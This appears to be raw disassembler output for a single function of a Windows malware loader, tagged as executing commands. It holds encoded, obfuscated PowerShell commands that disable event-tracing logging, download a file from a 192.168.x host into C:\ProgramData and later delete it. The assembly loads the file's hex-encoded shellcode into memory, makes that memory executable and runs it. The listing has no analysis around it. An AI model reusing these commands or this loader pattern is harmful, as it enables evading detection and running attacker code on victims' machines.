Function at 0x140001060
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rcx, str.powershell__e_JAB0AEQAaQBhACAAPQAgAFsAVABZAHAARQBdACgAIgB7ADUAfQB7ADMAfQB7ADEAfQB7ADYAfQB7ADIAfQB7ADAAfQB7ADQAfQAiACAALQBmACAAJwBlACcALAAnAE8AJwAsACcAUwBTACcALAAnAHQAaQAnACwAJwBtAEIAbABZACcALAAnAFIARQBmAGwAZQBDACcALAAnAG4ALgBBACcAKQAgADsAIAAgACAAJAB1AEsARgA4ACAAPQAgAFsAVABZAFAAZQBdACgAIgB7ADAAfQB7ADEAfQAiACAALQBGACcAUgBFACcALAAnAGYAJwApACAAOwAgACAAKAAgAEMASABJAEwARABpAHQARQBNACAAIAB2AEEAcgBJAEEAYgBsAGUAOgBUAEQASQBhACkALgB2AEEAbABVAEUAOgA6ACIAbABgAG8AYABBAGQAdwBJAFQAaABQAGEAYABSAHQAaQBgAEEAbABuAGEAbQBFACIALgAiAEkATgBWAGAATwBgAEsAZQAiACgAKAAnAFMAJwArACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAGUAbQAnACwAJwB5AHMAdAAnACkAKwAnAC4AQwAnACsAJwBvAHIAZQAnACkAKQAuACIAZwBgAEUAYABUAFQAWQBQAEUAIgAoACgAJwBTAHkAcwAnACsAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwB0AGUAbQAuACcALAAnAEQAaQAnACkAKwAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAGcAbgBvACcALAAnAGEAJwApACsAKAAiAHsAMwB9AHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAHYAJwAsACcAZQBuAHQAJwAsACcAdABpAGMAcwAuAEUAJwAsACcAcwAnACkAKwAnAGkAJwArACgAIgB7ADMAfQB7ADEAfQB7ADIAfQB7ADAAfQAiAC0AZgAnAFAAcgBvAHYAJwAsACcARQAnACwAJwB2AGUAbgB0ACcALAAnAG4AZwAuACcAKQArACcAaQAnACsAJwBkAGUAcgAnACkAKQAuACIAZwBFAFQAYABGAEkAYABlAEwAZAAiACgAKAAnAG0AJwArACcAXwAnACsAKAAiAHsAMQB9AHsAMgB9AHsAMAB9ACIAIAAtAGYAJwBkACcALAAnAGUAbgBhAGIAbAAnACwAJwBlACcAKQApACwAKAAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAG4AUAAnACwAJwBOAG8AJwApACsAJwB1AGIAbAAnACsAJwBpAGMAJwArACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiACAALQBmACAAJwBhAG4AJwAsACcALABJAG4AcwB0ACcALAAnAGMAZQAnACkAKQApAC4AIgBzAGUAVABWAGEAYABsAGAAVQBlACIAKAAgACgAIABHAEUAVAAtAHYAYQBSAGkAQQBCAGwARQAgACAAKAAiAFUAawAiACsAIgBmADgAIgApACAAIAAtAFYAQQBsAFUAZQBPAE4AbAAgACkALgAiAGEAYABzAFMAZQBtAGAAQgBsAFkAIgAuACIAZwBFAGAAVABgAFQAeQBQAEUAIgAoACgAJwBTAHkAcwAnACsAJwB0AGUAbQAnACsAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcALgBNAGEAJwAsACcAbgBhACcAKQArACcAZwBlACcAKwAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAG0AJwAsACcAZQBuAHQALgBBAHUAdAAnACkAKwAnAG8AJwArACgAIgB7ADQAfQB7ADAAfQB7ADMAfQB7ADIAfQB7ADEAfQAiAC0AZgAnAG8AJwAsACcAbgBnAC4AJwAsACcAVAByAGEAYwBpACcALAAnAG4ALgAnACwAJwBtAGEAdABpACcAKQArACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAUABTAEUAdAAnACwAJwB3AEwAbwAnACkAKwAnAGcAJwArACcAUAByAG8AJwArACcAdgBpACcAKwAnAGQAZQByACcAKQApAC4AIgBnAEUAdABGAEkAZQBgAEwAZAAiACgAKAAnAGUAJwArACcAdAB3ACcAKwAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBQAHIAbwB2AGkAJwAsACcAZAAnACkAKwAnAGUAcgAnACkALAAoACcATgAnACsAJwBvACcAKwAnAG4AUAB1ACcAKwAnAGIAJwArACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiACAALQBmACcAaQBjACcALAAnAGwAaQAnACwAJwBjACwAUwB0AGEAdAAnACkAKQApAC4AIgBnAEUAYABUAHYAYQBgAGwAVQBlACIAKAAkAHsATgBgAFUATABMAH0AKQAsADAAKQA7ACAAJgAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAHcAZwBlACcALAAnAHQAJwApACAAKAAiAHsAMQB9AHsAMwB9AHsAMgB9AHsAMAB9AHsANAB9AHsANQB9ACIAIAAtAGYAIAAnADQALgAxACcALAAnADEAOQAnACwAJwA4AC4AMgAzACcALAAnADIALgAxADYAJwAsACcAMgA4AC8AdABlAHgAdAAuAHQAJwAsACcAeAB0ACcAKQAgAC0ATwAgACgAKAAoACIAewAzAH0AewAxAH0AewA1AH0AewA0AH0AewAwAH0AewAyAH0AIgAgAC0AZgAgACcAdABlAHgAdAAuAHQAeAAnACwAJwBnAFcAUAByAG8AZwByAGEAbQAnACwAJwB0ACcALAAnAEMAOgBvACcALAAnAG8AZwBXACcALAAnAEQAYQB0AGEAJwApACkALQBDAFIARQBwAGwAYQBjAEUAIAAgACgAWwBjAGgAQQBSAF0AMQAxADEAKwBbAGMAaABBAFIAXQAxADAAMwArAFsAYwBoAEEAUgBdADgANwApACwAWwBjAGgAQQBSAF0AOQAyACkA
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x140002e90]
lea rcx, str.C:ProgramData_text.txt
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fileno]
mov ecx, eax
lea rdx, [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__fstat64i32]
xor edx, edx
mov rcx, rdi
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
xor ecx, ecx
mov edx, ebx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r8, [rsp + 0x20]
mov rcx, rdi
lea rdx, str.x_02x
mov rsi, rax
call fcn.140001010
cmp eax, 1
jne 0x140001137
mov rbx, rsi
movzx ecx, byte [rsp + 0x20]
lea r8, [rsp + 0x20]
mov byte [rbx], cl
lea rdx, str.x_02x
mov rcx, rdi
lea rbx, [rbx + 1]
call fcn.140001010
cmp eax, 1
je 0x140001113
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov edx, 8
lea r9, [rsp + 0x24]
mov rcx, rsi
lea r8d, [rdx + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.powershell__e_ZABlAGwAIABDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXAB0AGUAeAB0AC4AdAB4AHQA
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call rsi
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400011a0
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret